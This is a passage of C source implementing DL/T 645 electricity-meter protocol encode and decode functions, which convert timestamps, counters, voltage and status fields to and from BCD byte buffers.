nPos += DL645_Encode_Bxxx(&buff[nPos], &ptr->DIB01[i]);
}
return nPos;
}
int DL645_Decode_BxxF( void *appl, BYTE *buff )
{
EM_DIB01F *ptr = (EM_DIB01F*)appl;
int nPos = 0;
for( int i=0;i<=LINYANG_EM_MAX_TARIFFNUM;++i )
{
nPos += DL645_Decode_Bxxx(&ptr->DIB01[i], &buff[nPos]);
}
return nPos;
}
// B210
int DL645_Encode_B210( BYTE *buff, void *appl )
{
EM_DIB210 *ptr = (EM_DIB210*)appl;
int nPos = 0;
hex2bcd(ptr->minute, &buff[nPos++]);
hex2bcd(ptr->hour, &buff[nPos++]);
hex2bcd(ptr->day, &buff[nPos++]);
hex2bcd(ptr->month, &buff[nPos++]);
return nPos;
}
int DL645_Decode_B210( void *appl, BYTE *buff )
{
EM_DIB210 *ptr = (EM_DIB210*)appl;
int nPos = 0;
ptr->minute = bcd2hex(buff[nPos++]);
ptr->hour = bcd2hex(buff[nPos++]);
ptr->day = bcd2hex(buff[nPos++]);
ptr->month = bcd2hex(buff[nPos++]);
return nPos;
}
int DL645_07_Encode_B210( BYTE *buff, void *appl )
{
EM_DIB210_07 *ptr = (EM_DIB210_07*)appl;
int nPos = 0;
hex2bcd(ptr->sec, &buff[nPos++]);
hex2bcd(ptr->minute, &buff[nPos++]);
hex2bcd(ptr->hour, &buff[nPos++]);
hex2bcd(ptr->day, &buff[nPos++]);
hex2bcd(ptr->month, &buff[nPos++]);
hex2bcd(ptr->year, &buff[nPos++]);
return nPos;
}
int DL645_07_Decode_B210( void *appl, BYTE *buff )
{
EM_DIB210_07 *ptr = (EM_DIB210_07*)appl;
int nPos = 0;
ptr->sec = bcd2hex(buff[nPos++]);
ptr->minute = bcd2hex(buff[nPos++]);
ptr->hour = bcd2hex(buff[nPos++]);
ptr->day = bcd2hex(buff[nPos++]);
ptr->month = bcd2hex(buff[nPos++]);
ptr->year = bcd2hex(buff[nPos++]);
return nPos;
}
int DL645_07_Encode_0401( BYTE *buff, void *appl )
{
EM_DIB210_07 *ptr = (EM_DIB210_07*)appl;
int nPos = 4;
hex2bcd(ptr->sec, &buff[nPos++]);
hex2bcd(ptr->minute, &buff[nPos++]);
hex2bcd(ptr->hour, &buff[nPos++]);
hex2bcd(ptr->day, &buff[nPos++]);
hex2bcd(ptr->month, &buff[nPos++]);
hex2bcd(ptr->year, &buff[nPos++]);
return nPos;
}
int DL645_07_Decode_0401( void *appl, BYTE *buff )
{
EM_DIB210_07 *ptr = (EM_DIB210_07*)appl;
int nPos = 4;
ptr->sec = bcd2hex(buff[nPos++]);
ptr->minute = bcd2hex(buff[nPos++]);
ptr->hour = bcd2hex(buff[nPos++]);
ptr->day = bcd2hex(buff[nPos++]);
ptr->month = bcd2hex(buff[nPos++]);
ptr->year = bcd2hex(buff[nPos++]);
return nPos;
}
// B211
int DL645_Encode_B211( BYTE *buff, void *appl )
{
return DL645_Encode_B210(buff, appl);
}
int DL645_Decode_B211( void *appl, BYTE *buff )
{
return DL645_Decode_B210(appl, buff);
}
// B212
int DL645_Encode_B212( BYTE *buff, void *appl )
{
EM_DIB212 *ptr = (EM_DIB212*)appl;
word2bcd(ptr->times, &buff[0], &buff[1]);
return 2;
}
int DL645_Decode_B212( void *appl, BYTE *buff )
{
EM_DIB212 *ptr = (EM_DIB212*)appl;
bcd2word(buff[0], buff[1], &ptr->times);
return 2;
}
int DL645_07_Encode_B212( BYTE *buff, void *appl )
{
EM_DIB212_07 *ptr = (EM_DIB212_07*)appl;
long2bcd(ptr->times, &buff[0]);
return 3;
}
int DL645_07_Decode_B212( void *appl, BYTE *buff )
{
EM_DIB212_07 *ptr = (EM_DIB212_07*)appl;
BYTE nVal = 0;
bcd2long( buff[0], buff[1], buff[2], nVal, &ptr->times );
// bcd2long(buff, &ptr->times);
return 3;
}
// B213
int DL645_Encode_B213( BYTE *buff, void *appl )
{
EM_DIB213 *ptr = (EM_DIB213*)appl;
word2bcd(ptr->times, &buff[0], &buff[1]);
return 2;
}
int DL645_Decode_B213( void *appl, BYTE *buff )
{
EM_DIB213 *ptr = (EM_DIB213*)appl;
bcd2word(buff[0], buff[1], &ptr->times);
return 2;
}
// B214
int DL645_Encode_B214( BYTE *buff, void *appl )
{
EM_DIB214 *ptr = (EM_DIB214*)appl;
BYTE temp = 0;
long2bcd(ptr->time, &buff[0], &buff[1], &buff[2], &temp);
return 3;
}
int DL645_Decode_B214( void *appl, BYTE *buff )
{
EM_DIB214 *ptr = (EM_DIB214*)appl;
bcd2long(buff[0], buff[1], buff[2], 0, &ptr->time);
return 3;
}
// B21F
int DL645_Encode_B21F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIB21F *ptr = (EM_DIB21F*)appl;
nPos += DL645_Encode_B210(&buff[nPos], &ptr->DIB210);
nPos += DL645_Encode_B211(&buff[nPos], &ptr->DIB211);
nPos += DL645_Encode_B212(&buff[nPos], &ptr->DIB212);
nPos += DL645_Encode_B213(&buff[nPos], &ptr->DIB213);
nPos += DL645_Encode_B214(&buff[nPos], &ptr->DIB214);
return nPos;
}
int DL645_Decode_B21F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIB21F *ptr = (EM_DIB21F*)appl;
nPos += DL645_Decode_B210(&ptr->DIB210, &buff[nPos]);
nPos += DL645_Decode_B211(&ptr->DIB211, &buff[nPos]);
nPos += DL645_Decode_B212(&ptr->DIB212, &buff[nPos]);
nPos += DL645_Decode_B213(&ptr->DIB213, &buff[nPos]);
nPos += DL645_Decode_B214(&ptr->DIB214, &buff[nPos]);
return nPos;
}
// B310
int DL645_Encode_B310( BYTE *buff, void *appl )
{
EM_DIB310 *ptr = (EM_DIB310*)appl;
word2bcd(ptr->times, &buff[0], &buff[1]);
return 2;
}
int DL645_Decode_B310( void *appl, BYTE *buff )
{
EM_DIB310 *ptr = (EM_DIB310*)appl;
bcd2word(buff[0], buff[1], &ptr->times);
return 2;
}
// B31F
int DL645_Encode_B31F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIB31F *ptr = (EM_DIB31F*)appl;
nPos += DL645_Encode_B310(&buff[nPos], &ptr->DIB310);
nPos += DL645_Encode_B310(&buff[nPos], &ptr->DIB311);
nPos += DL645_Encode_B310(&buff[nPos], &ptr->DIB312);
nPos += DL645_Encode_B310(&buff[nPos], &ptr->DIB313);
return nPos;
}
int DL645_Decode_B31F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIB31F *ptr = (EM_DIB31F*)appl;
nPos += DL645_Decode_B310(&ptr->DIB310, &buff[nPos]);
nPos += DL645_Decode_B310(&ptr->DIB311, &buff[nPos]);
nPos += DL645_Decode_B310(&ptr->DIB312, &buff[nPos]);
nPos += DL645_Decode_B310(&ptr->DIB313, &buff[nPos]);
return nPos;
}
// B320
int DL645_Encode_B320( BYTE *buff, void *appl )
{
EM_DIB320 *ptr = (EM_DIB320*)appl;
BYTE temp = 0;
long2bcd(ptr->time, &buff[0], &buff[1], &buff[2], &temp);
return 3;
}
int DL645_Decode_B320( void *appl, BYTE *buff )
{
EM_DIB320 *ptr = (EM_DIB320*)appl;
bcd2long(buff[0], buff[1], buff[2], 0, &ptr->time);
return 3;
}
// B32F
int DL645_Encode_B32F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIB32F *ptr = (EM_DIB32F*)appl;
nPos += DL645_Encode_B320(&buff[nPos], &ptr->DIB320);
nPos += DL645_Encode_B320(&buff[nPos], &ptr->DIB321);
nPos += DL645_Encode_B320(&buff[nPos], &ptr->DIB322);
nPos += DL645_Encode_B320(&buff[nPos], &ptr->DIB323);
return nPos;
}
int DL645_Decode_B32F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIB32F *ptr = (EM_DIB32F*)appl;
nPos += DL645_Decode_B320(&ptr->DIB320, &buff[nPos]);
nPos += DL645_Decode_B320(&ptr->DIB321, &buff[nPos]);
nPos += DL645_Decode_B320(&ptr->DIB322, &buff[nPos]);
nPos += DL645_Decode_B320(&ptr->DIB323, &buff[nPos]);
return nPos;
}
// B330
int DL645_Encode_B330( BYTE *buff, void *appl )
{
EM_DIB330 *ptr = (EM_DIB330*)appl;
int nPos = 0;
hex2bcd(ptr->minute, &buff[nPos++]);
hex2bcd(ptr->hour, &buff[nPos++]);
hex2bcd(ptr->day, &buff[nPos++]);
hex2bcd(ptr->month, &buff[nPos++]);
return nPos;
}
int DL645_Decode_B330( void *appl, BYTE *buff )
{
EM_DIB330 *ptr = (EM_DIB330*)appl;
int nPos = 0;
ptr->minute = bcd2hex(buff[nPos++]);
ptr->hour = bcd2hex(buff[nPos++]);
ptr->day = bcd2hex(buff[nPos++]);
ptr->month = bcd2hex(buff[nPos++]);
return nPos;
}
// B33F
int DL645_Encode_B33F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIB33F *ptr = (EM_DIB33F*)appl;
nPos += DL645_Encode_B330(&buff[nPos], &ptr->DIB330);
nPos += DL645_Encode_B330(&buff[nPos], &ptr->DIB331);
nPos += DL645_Encode_B330(&buff[nPos], &ptr->DIB332);
nPos += DL645_Encode_B330(&buff[nPos], &ptr->DIB333);
return nPos;
}
int DL645_Decode_B33F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIB33F *ptr = (EM_DIB33F*)appl;
nPos += DL645_Decode_B330(&ptr->DIB330, &buff[nPos]);
nPos += DL645_Decode_B330(&ptr->DIB331, &buff[nPos]);
nPos += DL645_Decode_B330(&ptr->DIB332, &buff[nPos]);
nPos += DL645_Decode_B330(&ptr->DIB333, &buff[nPos]);
return nPos;
}
int DL645_07_Decode_03040000( void *appl, BYTE *buff )
{
EM_DI03040000 *ptr = (EM_DI03040000*)appl;
int nPos = 0;
BYTE b = 0;
for( int i = 0; i < 3; i++ )
{
bcd2long(buff[nPos], buff[nPos+1], buff[nPos+2], b, &ptr->dwCount[i]);
nPos += 3;
bcd2long(buff[nPos], buff[nPos+1], buff[nPos+2], b, &ptr->dwTimes[i]);
nPos += 3;
}
return nPos;
}
int DL645_07_Decode_13010001( void *appl, BYTE *buff )
{
EM_DI130X00FF *ptr = (EM_DI130X00FF*)appl;
int nPos = 0;
BYTE b = 0;
bcd2long(buff[nPos], buff[nPos+1], buff[nPos+2], b, &ptr->dwCount);
nPos += 3;
return nPos;
}
int DL645_07_Decode_13010002( void *appl, BYTE *buff )
{
EM_DI130X00FF *ptr = (EM_DI130X00FF*)appl;
int nPos = 0;
BYTE b = 0;
bcd2long(buff[nPos], buff[nPos+1], buff[nPos+2], b, &ptr->dwTimes);
nPos += 3;
return nPos;
}
int DL645_07_Decode_03040101( void *appl, BYTE *buff )
{
EM_DI03040101 *ptr = (EM_DI03040101*)appl;
int nPos = 0;
ptr->begin.second = bcd2hex(buff[nPos++]);
ptr->begin.minute = bcd2hex(buff[nPos++]);
ptr->begin.hour = bcd2hex(buff[nPos++]);
ptr->begin.day = bcd2hex(buff[nPos++]);
ptr->begin.month = bcd2hex(buff[nPos++]);
ptr->begin.year = bcd2hex(buff[nPos++]);
//
ptr->end.second = bcd2hex(buff[nPos++]);
ptr->end.minute = bcd2hex(buff[nPos++]);
ptr->end.hour = bcd2hex(buff[nPos++]);
ptr->end.day = bcd2hex(buff[nPos++]);
ptr->end.month = bcd2hex(buff[nPos++]);
ptr->end.year = bcd2hex(buff[nPos++]);
return nPos;
}
int DL645_07_Decode_13010101( void *appl, BYTE *buff )
{
EM_DI03040101 *ptr = (EM_DI03040101*)appl;
int nPos = 0;
ptr->begin.second = bcd2hex(buff[nPos++]);
ptr->begin.minute = bcd2hex(buff[nPos++]);
ptr->begin.hour = bcd2hex(buff[nPos++]);
ptr->begin.day = bcd2hex(buff[nPos++]);
ptr->begin.month = bcd2hex(buff[nPos++]);
ptr->begin.year = bcd2hex(buff[nPos++]);
return nPos;
}
int DL645_07_Decode_13012501( void *appl, BYTE *buff )
{
EM_DI03040101 *ptr = (EM_DI03040101*)appl;
int nPos = 0;
ptr->end.second = bcd2hex(buff[nPos++]);
ptr->end.minute = bcd2hex(buff[nPos++]);
ptr->end.hour = bcd2hex(buff[nPos++]);
ptr->end.day = bcd2hex(buff[nPos++]);
ptr->end.month = bcd2hex(buff[nPos++]);
ptr->end.year = bcd2hex(buff[nPos++]);
return nPos;
}
// B611
int DL645_Encode_B611( BYTE *buff, void *appl )
{
EM_DIB611 *ptr = (EM_DIB611*)appl;
word2bcd(ptr->value, &buff[0], &buff[1]);
return 2;
}
int DL645_Decode_B611( void *appl, BYTE *buff )
{
EM_DIB611 *ptr = (EM_DIB611*)appl;
bcd2word(buff[0], buff[1], &ptr->value);
return 2;
}
// B61F
int DL645_Encode_B61F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIB61F *ptr = (EM_DIB61F*)appl;
nPos += DL645_Encode_B611(&buff[nPos], &ptr->DIB611);
nPos += DL645_Encode_B611(&buff[nPos], &ptr->DIB612);
nPos += DL645_Encode_B611(&buff[nPos], &ptr->DIB613);
return nPos;
}
int DL645_Decode_B61F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIB61F *ptr = (EM_DIB61F*)appl;
nPos += DL645_Decode_B611(&ptr->DIB611, &buff[nPos]);
nPos += DL645_Decode_B611(&ptr->DIB612, &buff[nPos]);
nPos += DL645_Decode_B611(&ptr->DIB613, &buff[nPos]);
return nPos;
}
int DL645_07_Decode_B61F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIB61F *ptr = (EM_DIB61F*)appl;
nPos += DL645_Decode_B611(&ptr->DIB611, &buff[nPos]);
nPos += DL645_Decode_B611(&ptr->DIB612, &buff[nPos]);
nPos += DL645_Decode_B611(&ptr->DIB613, &buff[nPos]);
return nPos;
}
// B621
int DL645_Encode_B621( BYTE *buff, void *appl )
{
EM_DIB621 *ptr = (EM_DIB621*)appl;
double2bcd(ptr->value, buff, 2, 2);
return 2;
}
int DL645_Decode_B621( void *appl, BYTE *buff )
{
EM_DIB621 *ptr = (EM_DIB621*)appl;
if((buff[1] & 0x80) != 0)//为负数
{
buff[1] &= 0x7f;
ptr->value = bcd2double(buff, 2, 2 ) * (-1);
}
else
{
ptr->value = bcd2double(buff, 2, 2 );
}
return 2;
}
// 07
int DL645_07_Encode_B621( BYTE *buff, void *appl )
{
EM_DIB621 *ptr = (EM_DIB621*)appl;
double2bcd(ptr->value, buff, 3, 3);
return 3;
}
int DL645_07_Decode_B621( void *appl, BYTE *buff )
{
EM_DIB621 *ptr = (EM_DIB621*)appl;
if((buff[2] & 0x80) != 0)//为负数
{
buff[2] &= 0x7f;
ptr->value = bcd2double(buff, 3, 3 ) * -1;
}
else
{
ptr->value = bcd2double(buff, 3, 3 );
}
return 3;
}
// B62F
int DL645_Encode_B62F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIB62F *ptr = (EM_DIB62F*)appl;
nPos += DL645_Encode_B621(&buff[nPos], &ptr->DIB621);
nPos += DL645_Encode_B621(&buff[nPos], &ptr->DIB622);
nPos += DL645_Encode_B621(&buff[nPos], &ptr->DIB623);
return nPos;
}
int DL645_Decode_B62F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIB62F *ptr = (EM_DIB62F*)appl;
nPos += DL645_Decode_B621(&ptr->DIB621, &buff[nPos]);
nPos += DL645_Decode_B621(&ptr->DIB622, &buff[nPos]);
nPos += DL645_Decode_B621(&ptr->DIB623, &buff[nPos]);
return nPos;
}
// 07
int DL645_07_Encode_B62F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIB62F *ptr = (EM_DIB62F*)appl;
nPos += DL645_07_Encode_B621(&buff[nPos], &ptr->DIB621);
nPos += DL645_07_Encode_B621(&buff[nPos], &ptr->DIB622);
nPos += DL645_07_Encode_B621(&buff[nPos], &ptr->DIB623);
return nPos;
}
int DL645_07_Decode_B62F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIB62F *ptr = (EM_DIB62F*)appl;
nPos += DL645_07_Decode_B621(&ptr->DIB621, &buff[nPos]);
nPos += DL645_07_Decode_B621(&ptr->DIB622, &buff[nPos]);
nPos += DL645_07_Decode_B621(&ptr->DIB623, &buff[nPos]);
return nPos;
}
// B630
int DL645_Encode_B630( BYTE *buff, void *appl )
{
EM_DIB630 *ptr = (EM_DIB630*)appl;
double2bcd(ptr->value, buff, 2, 4);
return 3;
}
int DL645_Decode_B630( void *appl, BYTE *buff )
{
EM_DIB630 *ptr = (EM_DIB630*)appl;
if((buff[2] & 0x80) != 0)//为负数
{
buff[2] &= 0x7f;
ptr->value = bcd2double(buff, 3, 4 ) * (-1);
}
else
{
ptr->value = bcd2double(buff, 3, 4 );
}
return 3;
}
int DL645_07_Encode_B630( BYTE *buff, void *appl )
{
EM_DIB630 *ptr = (EM_DIB630*)appl;
double2bcd(ptr->value, buff, 3, 4);
return 3;
}
int DL645_07_Decode_B630( void *appl, BYTE *buff )
{
EM_DIB630 *ptr = (EM_DIB630*)appl;
if((buff[2] & 0x80) != 0)//为负数
{
buff[2] &= 0x7f;
ptr->value = bcd2double(buff, 3, 4) * -1;
}
else
{
ptr->value = bcd2double(buff, 3, 4);
}
return 3;
}
// B634
int DL645_Encode_B634( BYTE *buff, void *appl )
{
EM_DIB634 *ptr = (EM_DIB634*)appl;
double2bcd(ptr->value, buff, 2, 2);
return 2;
}
int DL645_Decode_B634( void *appl, BYTE *buff )
{
EM_DIB634 *ptr = (EM_DIB634*)appl;
ptr->value = bcd2double(buff, 2, 2);
return 2;
}
// B63F
int DL645_Encode_B63F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIB63F *ptr = (EM_DIB63F*)appl;
nPos += DL645_Encode_B630(&buff[nPos], &ptr->DIB630);
nPos += DL645_Encode_B630(&buff[nPos], &ptr->DIB631);
nPos += DL645_Encode_B630(&buff[nPos], &ptr->DIB632);
nPos += DL645_Encode_B630(&buff[nPos], &ptr->DIB633);
return nPos;
}
int DL645_Decode_B63F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIB63F *ptr = (EM_DIB63F*)appl;
nPos += DL645_Decode_B630(&ptr->DIB630, &buff[nPos]);
nPos += DL645_Decode_B630(&ptr->DIB631, &buff[nPos]);
nPos += DL645_Decode_B630(&ptr->DIB632, &buff[nPos]);
nPos += DL645_Decode_B630(&ptr->DIB633, &buff[nPos]);
return nPos;
}
int DL645_07_Encode_B63F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIB63F *ptr = (EM_DIB63F*)appl;
nPos += DL645_07_Encode_B630(&buff[nPos], &ptr->DIB630);
nPos += DL645_07_Encode_B630(&buff[nPos], &ptr->DIB631);
nPos += DL645_07_Encode_B630(&buff[nPos], &ptr->DIB632);
nPos += DL645_07_Encode_B630(&buff[nPos], &ptr->DIB633);
return nPos;
}
int DL645_07_Decode_B63F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIB63F *ptr = (EM_DIB63F*)appl;
nPos += DL645_07_Decode_B630(&ptr->DIB630, &buff[nPos]);
nPos += DL645_07_Decode_B630(&ptr->DIB631, &buff[nPos]);
nPos += DL645_07_Decode_B630(&ptr->DIB632, &buff[nPos]);
nPos += DL645_07_Decode_B630(&ptr->DIB633, &buff[nPos]);
return nPos;
}
// B640
int DL645_Encode_B640( BYTE *buff, void *appl )
{
EM_DIB640 *ptr = (EM_DIB640*)appl;
double2bcd(ptr->value, buff, 2, 2);
return 2;
}
int DL645_Decode_B640( void *appl, BYTE *buff )
{
EM_DIB640 *ptr = (EM_DIB640*)appl;
ptr->value = bcd2double(buff, 2, 2);
return 2;
}
// B64F
int DL645_Encode_B64F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIB64F *ptr = (EM_DIB64F*)appl;
nPos += DL645_Encode_B640(&buff[nPos], &ptr->DIB640);
nPos += DL645_Encode_B640(&buff[nPos], &ptr->DIB641);
nPos += DL645_Encode_B640(&buff[nPos], &ptr->DIB642);
nPos += DL645_Encode_B640(&buff[nPos], &ptr->DIB643);
return nPos;
}
int DL645_Decode_B64F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIB64F *ptr = (EM_DIB64F*)appl;
nPos += DL645_Decode_B640(&ptr->DIB640, &buff[nPos]);
nPos += DL645_Decode_B640(&ptr->DIB641, &buff[nPos]);
nPos += DL645_Decode_B640(&ptr->DIB642, &buff[nPos]);
nPos += DL645_Decode_B640(&ptr->DIB643, &buff[nPos]);
return nPos;
}
// B650
int DL645_Encode_B650( BYTE *buff, void *appl )
{
EM_DIB650 *ptr = (EM_DIB650*)appl;
double2bcd(ptr->value, buff, 2, 3);
return 2;
}
int DL645_Decode_B650( void *appl, BYTE *buff )
{
EM_DIB650 *ptr = (EM_DIB650*)appl;
ptr->value = bcd2double(buff, 2, 3);
return 2;
}
// B65F
int DL645_Encode_B65F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIB65F *ptr = (EM_DIB65F*)appl;
nPos += DL645_Encode_B650(&buff[nPos], &ptr->DIB650);
nPos += DL645_Encode_B650(&buff[nPos], &ptr->DIB651);
nPos += DL645_Encode_B650(&buff[nPos], &ptr->DIB652);
nPos += DL645_Encode_B650(&buff[nPos], &ptr->DIB653);
return nPos;
}
int DL645_Decode_B65F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIB65F *ptr = (EM_DIB65F*)appl;
nPos += DL645_Decode_B650(&ptr->DIB650, &buff[nPos]);
nPos += DL645_Decode_B650(&ptr->DIB651, &buff[nPos]);
nPos += DL645_Decode_B650(&ptr->DIB652, &buff[nPos]);
nPos += DL645_Decode_B650(&ptr->DIB653, &buff[nPos]);
return nPos;
}
// B660
int DL645_Encode_B660( BYTE *buff, void *appl )
{
EM_DIB660 *ptr = (EM_DIB660*)appl;
double2bcd(ptr->value, buff, 2, 1);
return 2;
}
int DL645_Decode_B660( void *appl, BYTE *buff )
{
EM_DIB660 *ptr = (EM_DIB660*)appl;
ptr->value = bcd2double(buff, 2, 1);
return 2;
}
int DL645_07_Encode_B660( BYTE *buff, void *appl )
{
EM_DIB660 *ptr = (EM_DIB660*)appl;
double2bcd(ptr->value, buff, 2, 1);
return 2;
}
int DL645_07_Decode_B660( void *appl, BYTE *buff )
{
EM_DIB660 *ptr = (EM_DIB660*)appl;
ptr->value = bcd2double(buff, 2, 1);
return 2;
}
// B66F
int DL645_Encode_B66F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIB66F *ptr = (EM_DIB66F*)appl;
nPos += DL645_Encode_B660(&buff[nPos], &ptr->DIB660);
nPos += DL645_Encode_B660(&buff[nPos], &ptr->DIB661);
nPos += DL645_Encode_B660(&buff[nPos], &ptr->DIB662);
nPos += DL645_Encode_B660(&buff[nPos], &ptr->DIB663);
nPos += DL645_Encode_B660(&buff[nPos], &ptr->DIB664);
nPos += DL645_Encode_B660(&buff[nPos], &ptr->DIB665);
return nPos;
}
int DL645_Decode_B66F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIB66F *ptr = (EM_DIB66F*)appl;
nPos += DL645_Decode_B660(&ptr->DIB660, &buff[nPos]);
nPos += DL645_Decode_B660(&ptr->DIB661, &buff[nPos]);
nPos += DL645_Decode_B660(&ptr->DIB662, &buff[nPos]);
nPos += DL645_Decode_B660(&ptr->DIB663, &buff[nPos]);
nPos += DL645_Decode_B660(&ptr->DIB664, &buff[nPos]);
nPos += DL645_Decode_B660(&ptr->DIB665, &buff[nPos]);
return nPos;
}
int DL645_07_Encode_B66F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIB66F *ptr = (EM_DIB66F*)appl;
nPos += DL645_07_Encode_B660(&buff[nPos], &ptr->DIB660);
nPos += DL645_07_Encode_B660(&buff[nPos], &ptr->DIB661);
nPos += DL645_07_Encode_B660(&buff[nPos], &ptr->DIB662);
return nPos;
}
int DL645_07_Decode_B66F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIB66F *ptr = (EM_DIB66F*)appl;
nPos += DL645_07_Decode_B660(&ptr->DIB660, &buff[nPos]);
nPos += DL645_07_Decode_B660(&ptr->DIB661, &buff[nPos]);
nPos += DL645_07_Decode_B660(&ptr->DIB662, &buff[nPos]);
return nPos;
}
// C010
int DL645_Encode_C010( BYTE *buff, void* )
{
int nPos = 0;
time_t hTime = time(nullptr);
tm* tm_sys = localtime(&hTime);
hex2bcd(tm_sys->tm_wday, &buff[nPos++]);
hex2bcd(tm_sys->tm_mday, &buff[nPos++]);
hex2bcd(tm_sys->tm_mon, &buff[nPos++]);
hex2bcd(tm_sys->tm_year, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C010( void *appl, BYTE *buff )
{
EM_DIC010 *ptr = (EM_DIC010*)appl;
int nPos = 0;
ptr->w_day = bcd2hex(buff[nPos++]);
ptr->m_day = bcd2hex(buff[nPos++]);
ptr->month = bcd2hex(buff[nPos++]);
ptr->year = bcd2hex(buff[nPos++]);
return nPos;
}
// C010
int DL645_Encode_C010_HB( BYTE *buff, void* )
{
int nPos = 0;
time_t hTime = time(nullptr);
tm* tm_sys = localtime(&hTime);
buff[nPos++] = 0;
hex2bcd(tm_sys->tm_mday, &buff[nPos++]);
hex2bcd(tm_sys->tm_mon, &buff[nPos++]);
hex2bcd(tm_sys->tm_year, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C010_HB( void *appl, BYTE *buff )
{
EM_DIC010 *ptr = (EM_DIC010*)appl;
int nPos = 0;
ptr->w_day = 0;
ptr->m_day = bcd2hex(buff[nPos++]);
ptr->month = bcd2hex(buff[nPos++]);
ptr->year = bcd2hex(buff[nPos++]);
return nPos;
}
// C011
int DL645_Encode_C011( BYTE *buff, void* )
{
int nPos = 0;
time_t hTime = time(nullptr);
tm* tm_sys = localtime(&hTime);
hex2bcd(tm_sys->tm_sec, &buff[nPos++]);
hex2bcd(tm_sys->tm_min, &buff[nPos++]);
hex2bcd(tm_sys->tm_hour, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C011( void *appl, BYTE *buff )
{
EM_DIC011 *ptr = (EM_DIC011*)appl;
int nPos = 0;
ptr->sec = bcd2hex(buff[nPos++]);
ptr->minute = bcd2hex(buff[nPos++]);
ptr->hour = bcd2hex(buff[nPos++]);
return nPos;
}
//C01F
int DL645_Encode_C01F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIC01F *ptr = (EM_DIC01F*)appl;
nPos += DL645_Encode_C010(&buff[nPos], &ptr->DIC010);
nPos += DL645_Encode_C011(&buff[nPos], &ptr->DIC011);
return nPos;
}
int DL645_Decode_C01F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIC01F *ptr = (EM_DIC01F*)appl;
nPos += DL645_Decode_C010(&ptr->DIC010, &buff[nPos]);
nPos += DL645_Decode_C011(&ptr->DIC011, &buff[nPos]);
return nPos;
}
// C020
int DL645_Encode_C020( BYTE *buff, void *appl )
{
EM_DIC020 *ptr = (EM_DIC020*)appl;
int nPos = 0;
buff[nPos++] = ptr->status;
return nPos;
}
int DL645_Decode_C020( void *appl, BYTE *buff )
{
EM_DIC020 *ptr = (EM_DIC020*)appl;
int nPos = 0;
ptr->status = buff[nPos++];
return nPos;
}
int DL645_07_Decode_C020( void *appl, BYTE *buff )
{
memcpy(appl, buff, 14);
return 14;
EM_DIC020 *ptr = (EM_DIC020*)appl;
int nPos = 0;
ptr->status = buff[nPos++];
return nPos;
}
// C021
int DL645_Encode_C021( BYTE *buff, void *appl )
{
EM_DIC021 *ptr = (EM_DIC021*)appl;
int nPos = 0;
buff[nPos++] = ptr->status;
return nPos;
}
int DL645_Decode_C021( void *appl, BYTE *buff )
{
EM_DIC021 *ptr = (EM_DIC021*)appl;
int nPos = 0;
ptr->status = buff[nPos++];
return nPos;
}
// C022
int DL645_Encode_C022( BYTE *buff, void *appl )
{
EM_DIC022 *ptr = (EM_DIC022*)appl;
int nPos = 0;
buff[nPos++] = ptr->status;
return nPos;
}
int DL645_Decode_C022( void *appl, BYTE *buff )
{
EM_DIC022 *ptr = (EM_DIC022*)appl;
int nPos = 0;
ptr->status = buff[nPos++];
return nPos;
}
//C02F
int DL645_Encode_C02F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIC02F *ptr = (EM_DIC02F*)appl;
nPos += DL645_Encode_C020(&buff[nPos], &ptr->DIC020);
nPos += DL645_Encode_C021(&buff[nPos], &ptr->DIC021);
nPos += DL645_Encode_C022(&buff[nPos], &ptr->DIC022);
return nPos;
}
int DL645_Decode_C02F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIC02F *ptr = (EM_DIC02F*)appl;
nPos += DL645_Decode_C020(&ptr->DIC020, &buff[nPos]);
nPos += DL645_Decode_C021(&ptr->DIC021, &buff[nPos]);
nPos += DL645_Decode_C022(&ptr->DIC022, &buff[nPos]);
return nPos;
}
// C030
int DL645_Encode_C030( BYTE *buff, void *appl )
{
EM_DIC030 *ptr = (EM_DIC030*)appl;
BYTE temp = 0;
long2bcd(ptr->value, &buff[0], &buff[1], &buff[2], &temp);
return 3;
}
int DL645_Decode_C030( void *appl, BYTE *buff )
{
EM_DIC030 *ptr = (EM_DIC030*)appl;
bcd2long(buff[0], buff[1], buff[2], 0, &ptr->value);
return 3;
}
// C031
int DL645_Encode_C031( BYTE *buff, void *appl )
{
EM_DIC031 *ptr = (EM_DIC031*)appl;
BYTE temp = 0;
long2bcd(ptr->value, &buff[0], &buff[1], &buff[2], &temp);
return 3;
}
int DL645_Decode_C031( void *appl, BYTE *buff )
{
EM_DIC031 *ptr = (EM_DIC031*)appl;
bcd2long(buff[0], buff[1], buff[2], 0, &ptr->value);
return 3;
}
// C032
int DL645_Encode_C032( BYTE *buff, void *appl )
{
EM_DIC032 *ptr = (EM_DIC032*)appl;
memcpy(buff, ptr->host, 6);
return 6;
}
